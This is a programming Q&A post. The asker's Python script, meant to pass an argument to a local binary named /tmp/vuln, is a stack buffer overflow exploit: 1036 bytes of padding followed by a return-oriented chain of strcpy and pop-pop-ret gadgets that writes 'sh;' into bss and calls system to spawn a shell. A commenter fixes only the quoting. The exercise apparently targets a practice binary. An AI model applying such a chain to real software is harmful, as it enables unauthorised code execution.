I am trying to execute a c program with an input string argument on a python script. But I am getting a type error.
p -> is a string variable vuln -> is a c binary that I can execute fine using the terminal
This is the line that is giving the error:
system("/tmp/vuln\""+p+"\"")
TypeError: system() argument 1 must be string without null bytes, not str
Thanks
Update:This is the complete code
#!/usr/bin/python
from struct import pack
from os import system
junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x0016bf60) #system - 0x10
ppr = pack("<L", 0x080483c2) #pop pop ret
p = junk
p += strcpy
p += ppr
p += pack("<L", 0x0804969c) #bss
p += pack("<L", 0x08048142) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x0804969d) #bss+1
p += pack("<L", 0x080482fa) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x0804969f) #bss+2
p += pack("<L", 0x080484ff) # ';'
p += pack("<L", 0x0016bf70) #system
p += "AAAA"
p += pack("<L", 0x0804969c) #bss (now contains "sh;<junk>")
system("/tmp/vuln " + p)
'
and you need a space aftervuln
. Usingformat
is cleanersystem('/tmp/vuln "{}"'.format(p))
– achampion yesterday